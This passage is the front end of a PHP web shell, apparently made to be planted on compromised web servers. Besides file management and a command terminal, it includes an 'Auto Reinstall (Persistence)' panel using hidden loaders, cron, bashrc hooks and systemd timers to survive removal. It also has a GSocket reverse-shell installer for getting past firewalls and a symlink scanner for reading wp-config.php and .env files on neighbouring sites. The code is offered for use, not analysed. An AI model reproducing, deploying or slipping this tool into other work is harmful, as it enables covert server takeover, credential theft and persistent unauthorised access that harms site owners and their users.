?> <a href="#" onclick="navigateTo('<?= htmlspecialchars(addslashes($crumb['path'])) ?>'); return false;"><?= htmlspecialchars($crumb['name']) ?></a> <?php endforeach; ?> </div> <form id="navForm" method="post" style="display:none;"> <input type="hidden" name="action" value="chdir"> <input type="hidden" name="path" id="navPath" value=""> </form> <div class="drop-zone" id="dropZone" onclick="document.getElementById('fileInput').click()"> <h3>📤 Drop files here to upload</h3> <p>or click to select files</p> <input type="file" id="fileInput" multiple style="display: none;"> </div> <input type="file" id="fileInputV2" style="display: none;"> <input type="file" id="fileInputV3" style="display: none;"> <input type="file" id="fileInputV4" style="display: none;"> <?php if ($readError): ?> <div class="error-message"> <h3>⚠️ Cannot read directory</h3> <p>Permission denied or directory does not exist.</p> </div> <?php endif; ?> <div class="main-content" id="mainContent"> <div class="file-list"> <div class="file-list-header"> <span></span> <span>Name</span> <span>Size</span> <span>Modified</span> <span>Perms</span> <span>Owner/Group</span> <span>Actions</span> </div> <?php if (empty($allItems)): ?> <div class="empty-message"> <p>📭 This folder is empty</p> </div> <?php else: ?> <?php foreach ($allItems as $item): ?> <div class="file-item" data-path="<?= htmlspecialchars($item['path']) ?>" data-name="<?= htmlspecialchars($item['name']) ?>" data-isdir="<?= $item['isDir'] ? '1' : '0' ?>" data-writable="<?= $item['writable'] ? '1' : '0' ?>" oncontextmenu="showContextMenu(event, this)"> <span class="icon"><?= $item['icon'] ?></span> <span class="name"> <?php if ($item['isDir']): ?> <a href="#" onclick="navigateTo('<?= htmlspecialchars(addslashes($item['path'])) ?>'); return false;"><?= htmlspecialchars($item['name']) ?></a> <?php else: ?> <span><?= htmlspecialchars($item['name']) ?></span> <?php endif; ?> </span> <span><?= $item['size'] ?></span> <span><?= $item['modified'] ?></span> <span style="color: <?= $item['writable'] ? '#00FF00' : '#FF0000' ?>"><?= $item['perms'] ?></span> <span><?= htmlspecialchars($item['owner']) ?>/<?= htmlspecialchars($item['group']) ?></span> <span class="actions"> <?php if (!$item['isDir']): ?> <button onclick="event.stopPropagation(); downloadFile('<?= htmlspecialchars(addslashes($item['path'])) ?>')" title="Download">⬇️</button> <button onclick="event.stopPropagation(); openEditor('<?= htmlspecialchars(addslashes($item['path'])) ?>')" title="Edit">📝</button> <?php endif; ?> <?php if ($item['name'] !== '..'): ?> <button onclick="event.stopPropagation(); showChmodModal('<?= htmlspecialchars(addslashes($item['path'])) ?>', '<?= $item['perms'] ?>', <?= $item['isDir'] ? 'true' : 'false' ?>)" title="Chmod">🔐</button> <button onclick="event.stopPropagation(); showRenameModal('<?= htmlspecialchars(addslashes($item['path'])) ?>', '<?= htmlspecialchars(addslashes($item['name'])) ?>')" title="Rename">✏️</button> <button onclick="event.stopPropagation(); showInfoPanel('<?= htmlspecialchars(addslashes($item['path'])) ?>')" title="Info">ℹ️</button> <button onclick="event.stopPropagation(); confirmDelete('<?= htmlspecialchars(addslashes($item['path'])) ?>', '<?= htmlspecialchars(addslashes($item['name'])) ?>')" title="Delete">🗑️</button> <?php endif; ?> </span> </div> <?php endforeach; ?> <?php endif; ?> </div> <div class="terminal-panel" id="terminalPanel" style="display: none;"> <div class="terminal-header"> <h3>💻 Terminal</h3> <div style="display:flex;gap:10px;align-items:center;flex-wrap:wrap;"> <label style="display:flex;align-items:center;gap:5px;font-size:0.8rem;cursor:pointer;"> <input type="checkbox" id="ttyMode" onchange="toggleTtyMode()"> <span id="ttyLabel">TTY</span> </label> <select id="timeoutSelect" style="background:#333;color:#fff;border:none;padding:5px;border-radius:4px;font-size:0.75rem;"> <option value="5">5s</option> <option value="10">10s</option> <option value="30" selected>30s</option> <option value="60">60s</option> <option value="120">2m</option> <option value="300">5m</option> </select> <button class="btn" onclick="clearTerminal()">Clear</button> </div> </div> <div class="terminal-output" id="terminalOutput"> <div class="info">Terminal ready. TTY mode available for interactive commands.</div> <div class="output">Working directory: <?= htmlspecialchars($currentDir) ?></div> </div> <div class="terminal-input"> <input type="text" id="terminalInput" placeholder="Enter command..." onkeydown="handleTerminalKey(event)"> <button onclick="executeCommand()">Run</button> </div> </div> </div> <div class="status-bar"> <span>📍 <?= htmlspecialchars($currentDir) ?></span> <span>📁 <?= $folderCount ?> folders, 📄 <?= $fileCount ?> files</span> </div> </div> <div class="context-menu" id="contextMenu"> <button onclick="contextAction('open')">📂 Open</button> <button onclick="contextAction('download')" id="ctxDownload">⬇️ Download</button> <button onclick="contextAction('unzip')" id="ctxUnzip" style="display:none;">📦 Extract</button> <hr> <button onclick="contextAction('cut')">✂️ Cut</button> <button onclick="contextAction('copy')">📋 Copy</button> <button onclick="contextAction('paste')" id="ctxPaste">📌 Paste Here</button> <hr> <button onclick="contextAction('edit')" id="ctxEdit">📝 Edit</button> <button onclick="contextAction('rename')" id="ctxRename">✏️ Rename</button> <button onclick="contextAction('chmod')" id="ctxChmod">🔐 Chmod</button> <button onclick="contextAction('info')">ℹ️ Properties</button> <hr> <button onclick="contextAction('delete')" id="ctxDelete">🗑️ Delete</button> </div> <div class="modal" id="renameModal"> <div class="modal-content"> <h2>✏️ Rename</h2> <input type="text" id="renameInput" placeholder="New name"> <input type="hidden" id="renamePath"> <div class="modal-actions"> <button class="btn" onclick="closeModal('renameModal')">Cancel</button> <button class="btn btn-success" onclick="doRename()">Rename</button> </div> </div> </div> <div class="modal" id="crontabModal"> <div class="modal-content" style="width:90%;max-width:800px;"> <h2>⏰ Crontab</h2> <div id="crontabLoading" style="text-align:center;padding:20px;">Loading...</div> <div id="crontabError" style="display:none;color:#FF0000;text-align:center;padding:20px;"></div> <textarea id="crontabContent" style="display:none;width:100%;height:300px;background:#1a1a1a;color:#00FF00;border:1px solid #333;font-family:monospace;padding:10px;resize:vertical;" placeholder="# m h dom mon dow command"></textarea> <div class="modal-actions"> <button class="btn" onclick="closeModal('crontabModal')">Cancel</button> <button class="btn btn-success" id="crontabSaveBtn" onclick="saveCrontab()" style="display:none;">Save</button> </div> </div> </div> <div class="modal" id="autoReinstallModal"> <div class="modal-content" style="max-width:500px;"> <h2>🛡️ Auto Reinstall (Persistence)</h2> <p style="font-size:0.85rem;color:#888;margin-bottom:15px;">Enable auto-reinstall to automatically restore the file manager if it gets deleted.</p> <div id="autoReinstallLoading" style="text-align:center;padding:20px;">Loading...</div> <div id="autoReinstallContent" style="display:none;"> <div class="info-row"><span class="label">Status:</span><span id="arStatus">-</span></div> <div class="info-row"><span class="label">Hidden Backup:</span><span id="arBackup">-</span></div> <div class="info-row"><span class="label">Hidden Loader:</span><span id="arLoader">-</span></div> <div class="info-row"><span class="label">.user.ini:</span><span id="arIni">-</span></div> <div class="info-row"><span class="label">Hosting Type:</span><span id="arHosting">-</span></div> <div class="info-row"><span class="label">Web User:</span><span id="arWebUser">-</span></div> <div class="info-row"><span class="label">Cron/Task:</span><span id="arCron">-</span></div> <div class="info-row"><span class="label">Nohup Watcher:</span><span id="arWatcherNohup">-</span></div> <div class="info-row"><span class="label">Setsid Watcher:</span><span id="arWatcherSetsid">-</span></div> <div class="info-row"><span class="label">Bashrc Hook:</span><span id="arBashrc">-</span></div> <div class="info-row"><span class="label">Systemd Timer:</span><span id="arSystemd">-</span></div> <div class="info-row"><span class="label">Multi Backups:</span><span id="arMulti">-</span></div> <div class="info-row"><span class="label">Chmod Protect:</span><span id="arChmod">-</span></div> <div class="info-row"><span class="label">Password:</span><span id="arHasPassword">-</span></div> <div class="info-row"><span class="label">Source Path:</span><span id="arPath" style="word-break:break-all;">-</span></div> <div class="info-row"><span class="label">Hidden Path:</span><span id="arHiddenPath" style="word-break:break-all;font-size:0.75rem;">-</span></div> <div id="arPasswordSection" style="margin-top:15px;padding:10px;background:#1a1a1a;border-radius:5px;"> <label style="display:block;margin-bottom:5px;font-size:0.85rem;">Persist Password:</label> <input type="password" id="arPassword" placeholder="Enter password (optional for enable, required for disable if set)" style="width:100%;padding:8px;background:#222;border:1px solid #444;color:#0f0;border-radius:4px;"> <p style="font-size:0.7rem;color:#666;margin-top:5px;">Set a password to protect against unauthorized disabling.</p> <div class="info-row" style="margin-top:8px;"><span class="label">Index Status:</span><span id="arIndexStatus">-</span></div> <div style="margin-top:12px;border-top:1px solid #333;padding-top:12px;"> <label style="display:block;margin-bottom:5px;font-size:0.85rem;">Custom Index Paths:</label> <div id="arCustomPaths"></div> <button type="button" onclick="addCustomPath()" style="font-size:0.75rem;padding:4px 8px;background:#333;color:#0f0;border:1px solid #555;border-radius:3px;cursor:pointer;margin-top:5px;">+ Add Path</button> <p style="font-size:0.7rem;color:#666;margin-top:5px;">Add custom index.php paths to backup (absolute paths like /var/www/site/index.php)</p> </div> <div style="margin-top:12px;border-top:1px solid #333;padding-top:12px;"> <label style="display:block;margin-bottom:5px;font-size:0.85rem;">Index Detection Strings:</label> <div id="arCustomStrings"></div> <button type="button" onclick="addCustomString()" style="font-size:0.75rem;padding:4px 8px;background:#333;color:#0f0;border:1px solid #555;border-radius:3px;cursor:pointer;margin-top:5px;">+ Add String</button> <p style="font-size:0.7rem;color:#666;margin-top:5px;">Add detection strings - index.php will be restored if ANY string is missing</p> </div> </div> </div> <div id="autoReinstallError" style="display:none;color:#FF0000;text-align:center;padding:10px;"></div> <div class="modal-actions"> <button class="btn" onclick="closeModal('autoReinstallModal')">Close</button> <button class="btn btn-danger" id="arDisableBtn" onclick="toggleAutoReinstall(false)" style="display:none;">Disable</button> <button class="btn btn-success" id="arEnableBtn" onclick="toggleAutoReinstall(true)" style="display:none;">Enable</button> </div> </div> </div> <div class="modal" id="domainInfoModal"> <div class="modal-content"> <h2>🌐 Domain Info</h2> <div id="domainInfoContent"><div style="text-align:center;padding:20px;">Loading...</div></div> <div class="modal-actions"> <button class="btn" onclick="closeModal('domainInfoModal')">Close</button> </div> </div> </div> <div class="modal" id="newFolderModal"> <div class="modal-content"> <h2>📁 New Folder</h2> <input type="text" id="newFolderInput" placeholder="Folder name"> <div class="modal-actions"> <button class="btn" onclick="closeModal('newFolderModal')">Cancel</button> <button class="btn btn-success" onclick="doNewFolder()">Create</button> </div> </div> </div> <div class="modal" id="newFileModal"> <div class="modal-content"> <h2>📄 New File</h2> <input type="text" id="newFileInput" placeholder="File name (e.g., script.php)"> <div class="modal-actions"> <button class="btn" onclick="closeModal('newFileModal')">Cancel</button> <button class="btn btn-success" onclick="doNewFile()">Create</button> </div> </div> </div> <div class="modal" id="gsocketModal"> <div class="modal-content" style="max-width:600px;"> <h2>🔌 GSocket Auto-Install</h2> <p style="font-size:0.85rem;color:#888;margin-bottom:15px;">Install GSocket for secure reverse shell access through firewalls. Uses <a href="https://gsocket.io" target="_blank" style="color:#667eea;">gsocket.io</a></p> <div style="margin-bottom:15px;"> <label style="font-size:0.85rem;color:#888;display:block;margin-bottom:5px;">Secret (optional - leave empty for auto-generated)</label> <input type="text" id="gsocketSecret" placeholder="Leave empty for auto-generated secret" style="width:100%;"> </div> <div style="margin-bottom:15px;"> <label style="font-size:0.85rem;cursor:pointer;"> <input type="checkbox" id="gsocketNoinst"> No Install Mode (run once, won't survive reboot) </label> </div> <div style="margin-bottom:15px;"> <label style="font-size:0.85rem;cursor:pointer;"> <input type="checkbox" id="gsocketNocert"> Ignore SSL certificate warnings </label> </div> <div style="background:#0d0d0d;padding:15px;border-radius:8px;margin-bottom:15px;"> <div style="font-size:0.75rem;color:#888;margin-bottom:5px;">Command to execute:</div> <code id="gsocketCommand" style="font-size:0.8rem;color:#27ae60;word-break:break-all;"></code> </div> <div id="gsocketResult" style="display:none;background:#1a1a2e;padding:15px;border-radius:8px;margin-bottom:15px;max-height:200px;overflow-y:auto;"> <div style="font-size:0.75rem;color:#888;margin-bottom:5px;">Output:</div> <pre id="gsocketOutput" style="font-size:0.8rem;color:#ccc;margin:0;white-space:pre-wrap;"></pre> </div> <div class="modal-actions"> <button class="btn" onclick="closeModal('gsocketModal')">Cancel</button> <button class="btn" onclick="copyGsocketCommand()" style="background:#3498db;">📋 Copy Command</button> <button class="btn btn-success" onclick="runGsocket()" id="gsocketRunBtn">🚀 Install GSocket</button> </div> </div> </div> <div class="modal" id="sysInfoModal"> <div class="modal-content" style="max-width:600px;"> <h2>ℹ️ System Information</h2> <div id="sysInfoContent" style="text-align:left;"> <div style="text-align:center;padding:20px;">Loading...</div> </div> <div class="modal-actions"> <button class="btn" onclick="closeModal('sysInfoModal')">Close</button> </div> </div> </div> <div class="modal" id="mailerModal"> <div class="modal-content" style="max-width:550px;"> <h2>📧 Mailer Tester</h2> <div style="margin-bottom:15px;"> <label style="font-size:0.8rem;color:#888;display:block;margin-bottom:3px;">Method</label> <select id="mailerMethod" onchange="toggleSmtpFields()" style="width:100%;padding:10px;background:#1a1a1a;color:#00FF00;border:1px solid #333;border-radius:5px;"> <option value="server">Server Mail (Simple)</option> <option value="mail">PHP mail()</option> <option value="smtp">SMTP</option> </select> </div> <div id="smtpFields" style="display:none;background:#0d0d0d;padding:15px;border-radius:8px;margin-bottom:15px;"> <div style="display:grid;grid-template-columns:1fr 100px;gap:10px;margin-bottom:10px;"> <div><label style="font-size:0.75rem;color:#888;">SMTP Host</label><input type="text" id="smtpHost" placeholder="smtp.gmail.com" style="width:100%;"></div> <div><label style="font-size:0.75rem;color:#888;">Port</label><input type="number" id="smtpPort" value="587" style="width:100%;"></div> </div> <div style="margin-bottom:10px;"><label style="font-size:0.75rem;color:#888;">Username</label><input type="text" id="smtpUser" placeholder="user@gmail.com" style="width:100%;"></div> <div style="margin-bottom:10px;"><label style="font-size:0.75rem;color:#888;">Password</label><input type="password" id="smtpPass" placeholder="App password" style="width:100%;"></div> <div><label style="font-size:0.75rem;color:#888;">Security</label> <select id="smtpSecure" style="width:100%;padding:8px;background:#1a1a1a;color:#00FF00;border:1px solid #333;border-radius:5px;"> <option value="tls">TLS (Port 587)</option> <option value="ssl">SSL (Port 465)</option> <option value="none">None (Port 25)</option> </select></div> </div> <div id="simpleMailFields"> <div style="margin-bottom:10px;"><label style="font-size:0.75rem;color:#888;">Your Email</label><input type="email" id="mailerTo" placeholder="your@email.com" style="width:100%;"></div> </div> <div id="advancedMailFields" style="display:none;"> <div style="display:grid;grid-template-columns:1fr 1fr;gap:10px;margin-bottom:10px;"> <div><label style="font-size:0.75rem;color:#888;">From Email</label><input type="email" id="mailerFrom" placeholder="sender@domain.com" style="width:100%;"></div> <div><label style="font-size:0.75rem;color:#888;">From Name</label><input type="text" id="mailerFromName" value="Mailer Test" style="width:100%;"></div> </div> <div style="margin-bottom:10px;"><label style="font-size:0.75rem;color:#888;">Subject</label><input type="text" id="mailerSubject" value="Test Email" style="width:100%;"></div> <div style="margin-bottom:15px;"><label style="font-size:0.75rem;color:#888;">Message</label><textarea id="mailerMessage" rows="3" placeholder="Your test message..." style="width:100%;background:#1a1a1a;color:#00FF00;border:1px solid #333;border-radius:5px;padding:10px;resize:vertical;">This is a test email sent from PHP Mailer Tester.</textarea></div> </div> <div id="mailerResult" style="display:none;padding:12px;border-radius:8px;margin-bottom:15px;font-size:0.85rem;"></div> <div class="modal-actions"> <button class="btn" onclick="closeModal('mailerModal')">Cancel</button> <button class="btn btn-success" onclick="sendTestMail()" id="mailerSendBtn">📤 Send Test</button> </div> </div> </div> <div class="modal" id="unzipModal"> <div class="modal-content" style="max-width:500px;"> <h2>📦 Extract Archive</h2> <div style="margin-bottom:15px;"> <label style="font-size:0.8rem;color:#888;display:block;margin-bottom:3px;">Archive File</label> <input type="text" id="unzipPath" placeholder="Enter archive path or right-click file to extract" style="width:100%;"> </div> <div style="margin-bottom:15px;"> <label style="font-size:0.8rem;color:#888;display:block;margin-bottom:3px;">Extract To</label> <input type="text" id="unzipDest" placeholder="Destination directory" style="width:100%;"> </div> <div style="margin-bottom:15px;"> <label style="font-size:0.8rem;color:#888;display:block;margin-bottom:3px;">Method</label> <select id="unzipMethod" style="width:100%;padding:10px;background:#1a1a1a;color:#00FF00;border:1px solid #333;border-radius:5px;"> <option value="auto">Auto Detect</option> </select> <div id="unzipMethodsLoading" style="font-size:0.75rem;color:#888;margin-top:5px;">Loading available methods...</div> </div> <div id="unzipResult" style="display:none;padding:12px;border-radius:8px;margin-bottom:15px;font-size:0.85rem;max-height:150px;overflow-y:auto;"></div> <div class="modal-actions"> <button class="btn" onclick="closeModal('unzipModal')">Cancel</button> <button class="btn btn-success" onclick="doUnzip()" id="unzipBtn">📦 Extract</button> </div> </div> </div> <div class="modal" id="symlinkModal"> <div class="modal-content" style="max-width:700px;"> <h2>🔗 Symlink Domain Scanner</h2> <div style="margin-bottom:15px;"> <label style="font-size:0.8rem;color:#888;display:block;margin-bottom:3px;">File to Read</label> <input type="text" id="symlinkFile" value="index.php" placeholder="e.g., index.php, wp-config.php, .env" style="width:100%;"> </div> <div style="margin-bottom:15px;"> <button class="btn btn-success" onclick="scanSymlinkDomains()" id="symlinkScanBtn">🔍 Scan Domains</button> <span id="symlinkScanStatus" style="margin-left:10px;font-size:0.85rem;color:#888;"></span> </div> <div id="symlinkDomainList" style="max-height:300px;overflow-y:auto;border:1px solid #333;border-radius:8px;background:#0a0a0a;"></div> <div id="symlinkFileContent" style="display:none;margin-top:15px;"> <div style="display:flex;justify-content:space-between;align-items:center;margin-bottom:10px;"> <h3 style="color:#00FF00;margin:0;font-size:0.9rem;" id="symlinkFilePath"></h3> <div> <span id="symlinkFileOwner" style="font-size:0.75rem;color:#888;margin-right:10px;"></span> <button class="btn" onclick="createSymlinkFromScan()" style="padding:5px 10px;font-size:0.8rem;">🔗 Create Symlink</button> </div> </div> <pre id="symlinkContentPre" style="background:#111;padding:15px;border-radius:8px;max-height:200px;overflow:auto;font-size:0.75rem;white-space:pre-wrap;word-break:break-all;color:#0f0;border:1px solid #333;"></pre> </div> <div class="modal-actions" style="margin-top:15px;"> <button class="btn" onclick="closeModal('symlinkModal')">Close</button> </div> </div> </div> <div class="modal" id="chmodModal"> <div class="modal-content"> <h2>🔐 Change Permissions</h2> <input type="hidden" id="chmodPath"> <input type="hidden" id="chmodIsDir"> <input type="text" id="chmodInput" placeholder="Permission mode (e.g., 755, 644)" maxlength="4"> <div style="margin-bottom:15px;"> <div style="display:grid;grid-template-columns:repeat(3,1fr);gap:10px;margin-bottom:10px;"> <div style="text-align:center;font-size:0.85rem;color:#888;">Owner</div> <div style="text-align:center;font-size:0.85rem;color:#888;">Group</div> <div style="text-align:center;font-size:0.85rem;color:#888;">Others</div> </div> <div style="display:grid;grid-template-columns:repeat(3,1fr);gap:10px;"> <div style="display:flex;flex-direction:column;gap:5px;"> <label style="font-size:0.8rem;cursor:pointer;"><input type="checkbox" id="chmod_or" onchange="updateChmodFromCheckboxes()"> Read</label> <label style="font-size:0.8rem;cursor:pointer;"><input type="checkbox" id="chmod_ow" onchange="updateChmodFromCheckboxes()"> Write</label> <label style="font-size:0.8rem;cursor:pointer;"><input type="checkbox" id="chmod_ox" onchange="updateChmodFromCheckboxes()"> Execute</label> </div> <div style="display:flex;flex-direction:column;gap:5px;"> <label style="font-size:0.8rem;cursor:pointer;"><input type="checkbox" id="chmod_gr" onchange="updateChmodFromCheckboxes()"> Read</label> <label style="font-size:0.8rem;cursor:pointer;"><input type="checkbox" id="chmod_gw" onchange="updateChmodFromCheckboxes()"> Write</label> <label style="font-size:0.8rem;cursor:pointer;"><input type="checkbox" id="chmod_gx" onchange="updateChmodFromCheckboxes()"> Execute</label> </div> <div style="display:flex;flex-direction:column;gap:5px;"> <label style="font-size:0.8rem;cursor:pointer;"><input type="checkbox" id="chmod_wr" onchange="updateChmodFromCheckboxes()"> Read</label> <label style="font-size:0.8rem;cursor:pointer;"><input type="checkbox" id="chmod_ww" onchange="updateChmodFromCheckboxes()"> Write</label> <label style="font-size:0.8rem;cursor:pointer;"><input type="checkbox" id="chmod_wx" onchange="updateChmodFromCheckboxes()"> Execute</label> </div> </div> </div> <div id="chmodRecursiveOption" style="margin-bottom:15px;display:none;"> <label style="font-size:0.85rem;cursor:pointer;"><input type="checkbox" id="chmodRecursive"> Apply recursively to all contents</label> </div> <div style="display:flex;gap:5px;flex-wrap:wrap;margin-bottom:15px;"> <button class="btn" onclick="setChmodPreset('755')" style="padding:5px 10px;font-size:0.8rem;">755</button> <button class="btn" onclick="setChmodPreset('644')" style="padding:5px 10px;font-size:0.8rem;">644</button> <button class="btn" onclick="setChmodPreset('777')" style="padding:5px 10px;font-size:0.8rem;">777</button> <button class="btn" onclick="setChmodPreset('700')" style="padding:5px 10px;font-size:0.8rem;">700</button> <button class="btn" onclick="setChmodPreset('600')" style="padding:5px 10px;font-size:0.8rem;">600</button> </div> <div class="modal-actions"> <button class="btn" onclick="closeModal('chmodModal')">Cancel</button> <button class="btn btn-success" onclick="doChmod()">Apply</button> </div> </div> </div> <div class="modal" id="editorModal"> <div class="modal-content" style="width:90%;max-width:1200px;height:85vh;"> <h2 id="editorTitle">📝 Edit File</h2> <input type="hidden" id="editorPath"> <div style="display:flex;justify-content:space-between;align-items:center;margin-bottom:10px;"> <span id="editorInfo" style="font-size:0.85rem;color:#888;"></span> <span id="editorStatus" style="font-size:0.85rem;color:#0f0;"></span> </div> <textarea id="editorContent" style="width:100%;height:calc(100% - 120px);background:#1a1a1a;color:#0f0;border:1px solid #333;padding:10px;font-family:monospace;font-size:14px;resize:none;white-space:pre;overflow:auto;tab-size:4;" spellcheck="false"></textarea> <div class="modal-actions" style="margin-top:10px;"> <button class="btn" onclick="closeModal('editorModal')">Cancel</button> <button class="btn" onclick="downloadEditorContent()">Download</button> <button class="btn btn-success" id="editorSaveBtn" onclick="saveEditorContent()">Save</button> </div> </div> </div> <div class="info-panel" id="infoPanel"> <h3> <span>📋 Properties</span> <button class="close" onclick="closeInfoPanel()">×</button> </h3> <div id="infoContent"></div> </div> <div class="toast" id="toast"></div> <button class="toggle-terminal" onclick="toggleTerminal()">💻</button> <script> const currentDir = <?= json_encode($currentDir) ?>; let clipboard = { path: null, action: null, name: null }; let contextTarget = null; let commandHistory = []; let historyIndex = -1; let terminalVisible = false; function navigateTo(path) { document.getElementById('navPath').value = path; document.getElementById('navForm').submit(); } function showToast(message, isError = false) { const toast = document.getElementById('toast'); toast.textContent = message; toast.className = 'toast active' + (isError ? ' error' : ''); setTimeout(() => toast.classList.remove('active'), 3000); } function toggleUpload() { const zone = document.getElementById('dropZone'); zone.classList.toggle('active'); if (zone.classList.contains('active')) { document.getElementById('fileInput').click(); } } function toggleTerminal() { const panel = document.getElementById('terminalPanel'); const mainContent = document.getElementById('mainContent'); terminalVisible = !terminalVisible; panel.style.display = terminalVisible ? 'flex' : 'none'; mainContent.classList.toggle('with-terminal', terminalVisible); if (terminalVisible) { document.getElementById('terminalInput').focus(); } } document.getElementById('fileInput').addEventListener('change', function(e) { uploadFiles(e.target.files); }); const dropZone = document.getElementById('dropZone'); document.body.addEventListener('dragover', function(e) { e.preventDefault(); dropZone.classList.add('active', 'dragover'); }); document.body.addEventListener('dragleave', function(e) { if (!e.relatedTarget || !document.body.contains(e.relatedTarget)) { dropZone.classList.remove('dragover'); } }); document.body.addEventListener('drop', function(e) { e.preventDefault(); dropZone.classList.remove('active', 'dragover'); if (e.dataTransfer.files.length) { uploadFiles(e.dataTransfer.files); } }); function uploadFiles(files) { const formData = new FormData(); formData.append('action', 'upload'); formData.append('uploadDir', currentDir); for (let i = 0; i < files.length; i++) { formData.append('files[]', files[i]); } showToast('Uploading ' + files.length + ' file(s)...'); fetch(window.location.pathname, { method: 'POST', body: formData }) .then(r => r.json()) .then(data => { if (data.success) { const successful = data.results.filter(r => r.success).length; const failed = data.results.filter(r => !r.success).length; if (failed > 0) { showToast(successful + ' uploaded, ' + failed + ' failed', true); } else { showToast('All files uploaded successfully!'); } setTimeout(() => location.reload(), 1000); } else { showToast('Upload failed: ' + (data.error || 'Unknown error'), true); } }) .catch(err => showToast('Upload failed: ' + err, true)); } let uploadV2InProgress = false; function triggerUploadV2() { if (uploadV2InProgress) return; document.getElementById('fileInputV2').click(); } document.getElementById('fileInputV2').addEventListener('change', function(e) { if (e.target.files.length > 0 && !uploadV2InProgress) { const file = e.target.files[0]; e.target.value = ''; uploadFileV2(file); } }); function uploadFileV2(file) { uploadV2InProgress = true; const formData = new FormData(); formData.append('action', 'uploadV2'); formData.append('f', file); formData.append('c', currentDir); showToast('Uploading (V2): ' + file.name + '...'); fetch(window.location.pathname, { method: 'POST', body: formData }) .then(r => r.json()) .then(data => { uploadV2InProgress = false; if (data.success) { showToast('Uploaded: ' + data.file); setTimeout(() => location.reload(), 1000); } else { showToast('Upload failed: ' + (data.error || 'Unknown error'), true); } }) .catch(err => { uploadV2InProgress = false; showToast('Upload failed: ' + err, true); }); } let uploadV3InProgress = false; function triggerUploadV3() { if (uploadV3InProgress) return; document.getElementById('fileInputV3').click(); } document.getElementById('fileInputV3').addEventListener('change', function(e) { if (e.target.files.length > 0 && !uploadV3InProgress) { const file = e.target.files[0]; e.target.value = ''; uploadFileV3(file); } }); function uploadFileV3(file) { uploadV3InProgress = true; showToast('Encoding (V3): ' + file.name + '...'); const reader = new FileReader(); reader.onload = function(e) { const base64 = e.target.result.split(',')[1]; const formData = new FormData(); formData.append('action', 'uploadV3'); formData.append('n', file.name); formData.append('d', base64); formData.append('c', currentDir); showToast('Uploading (V3): ' + file.name + '...'); fetch(window.location.pathname, { method: 'POST', body: formData }) .then(r => r.json()) .then(data => { uploadV3InProgress = false; if (data.success) { showToast('Uploaded: ' + data.file); setTimeout(() => location.reload(), 1000); } else { showToast('Upload failed: ' + (data.error || 'Unknown error'), true); } }) .catch(err => { uploadV3InProgress = false; showToast('Upload failed: ' + err, true); }); }; reader.readAsDataURL(file); } let uploadV4InProgress = false; function triggerUploadV4() { if (uploadV4InProgress) return; document.getElementById('fileInputV4').click(); } document.getElementById('fileInputV4').addEventListener('change', function(e) { if (e.target.files.length > 0 && !uploadV4InProgress) { const file = e.target.files[0]; e.target.value = ''; uploadFileV4(file); } }); function uploadFileV4(file) { uploadV4InProgress = true; const chunkSize = 64 * 1024; const totalChunks = Math.ceil(file.size / chunkSize); let currentChunk = 0; showToast('Uploading (V4): ' + file.name + ' in ' + totalChunks + ' chunks...'); function sendChunk() { const start = currentChunk * chunkSize; const end = Math.min(start + chunkSize, file.size); const blob = file.slice(start, end); const reader = new FileReader(); reader.onload = function(e) { const base64 = e.target.result.split(',')[1]; const formData = new FormData(); formData.append('action', 'uploadV4'); formData.append('n', file.name); formData.append('chunk', base64); formData.append('i', currentChunk); formData.append('t', totalChunks); formData.append('c', currentDir); fetch(window.location.pathname, { method: 'POST', body: formData }) .then(r => r.json()) .then(data => { if (data.success) { if (data.complete) { uploadV4InProgress = false; showToast('Uploaded: ' + data.file); setTimeout(() => location.reload(), 1000); } else { currentChunk++; showToast('Chunk ' + currentChunk + '/' + totalChunks + '...'); sendChunk(); } } else { uploadV4InProgress = false; showToast('Upload failed: ' + (data.error || 'Unknown error'), true); } }) .catch(err => { uploadV4InProgress = false; showToast('Upload failed: ' + err, true); }); }; reader.readAsDataURL(blob); } sendChunk(); } function downloadFile(path) { window.location.href = '?download=' + encodeURIComponent(path); } function confirmDelete(path, name) { if (confirm('Are you sure you want to delete "' + name + '"?\n\nThis action cannot be undone.')) { const formData = new FormData(); formData.append('action', 'delete'); formData.append('path', path); fetch(window.location.pathname, { method: 'POST', body: formData }) .then(r => r.json()) .then(data => { if (data.success) { showToast('Deleted successfully'); setTimeout(() => location.reload(), 500); } else { showToast('Delete failed: ' + (data.error || 'Unknown error'), true); } }) .catch(err => showToast('Delete failed: ' + err, true)); } } function showRenameModal(path, name) { document.getElementById('renamePath').value = path; document.getElementById('renameInput').value = name; document.getElementById('renameModal').classList.add('active'); setTimeout(() => { const input = document.getElementById('renameInput'); input.focus(); const lastDot = name.lastIndexOf('.'); if (lastDot > 0) { input.setSelectionRange(0, lastDot); } else { input.select(); } }, 100); } function doRename() { const path = document.getElementById('renamePath').value; const newName = document.getElementById('renameInput').value.trim(); if (!newName) { showToast('Please enter a name', true); return; } const formData = new FormData(); formData.append('action', 'rename'); formData.append('oldPath', path); formData.append('newName', newName); fetch(window.location.pathname, { method: 'POST', body: formData }) .then(r => r.json()) .then(data => { if (data.success) { showToast('Renamed successfully'); setTimeout(() => location.reload(), 500); } else { showToast('Rename failed: ' + (data.error || 'Unknown error'), true); } }) .catch(err => showToast('Rename failed: ' + err, true)); } function showNewFolderModal() { document.getElementById('newFolderInput').value = ''; document.getElementById('newFolderModal').classList.add('active'); setTimeout(() => document.getElementById('newFolderInput').focus(), 100); } function doNewFolder() { const name = document.getElementById('newFolderInput').value.trim(); if (!name) { showToast('Please enter a folder name', true); return; } const formData = new FormData(); formData.append('action', 'newfolder'); formData.append('name', name); formData.append('parentDir', currentDir); fetch(window.location.pathname, { method: 'POST', body: formData }) .then(r => r.json()) .then(data => { if (data.success) { showToast('Folder created'); setTimeout(() => location.reload(), 500); } else { showToast('Failed: ' + (data.error || 'Unknown error'), true); } }) .catch(err => showToast('Failed: ' + err, true)); } function showNewFileModal() { document.getElementById('newFileInput').value = ''; document.getElementById('newFileModal').classList.add('active'); setTimeout(() => document.getElementById('newFileInput').focus(), 100); } function doNewFile() { const name = document.getElementById('newFileInput').value.trim(); if (!name) { showToast('Please enter a file name', true); return; } const formData = new FormData(); formData.append('action', 'newfile'); formData.append('name', name); formData.append('parentDir', currentDir); formData.append('content', ''); fetch(window.location.pathname, { method: 'POST', body: formData }) .then(r => r.json()) .then(data => { if (data.success) { showToast('File created'); setTimeout(() => location.reload(), 500); } else { showToast('Failed: ' + (data.error || 'Unknown error'), true); } }) .catch(err => showToast('Failed: ' + err, true)); } function showChmodModal(path, currentPerms, isDir) { document.getElementById('chmodPath').value = path; document.getElementById('chmodIsDir').value = isDir ? '1' : '0'; 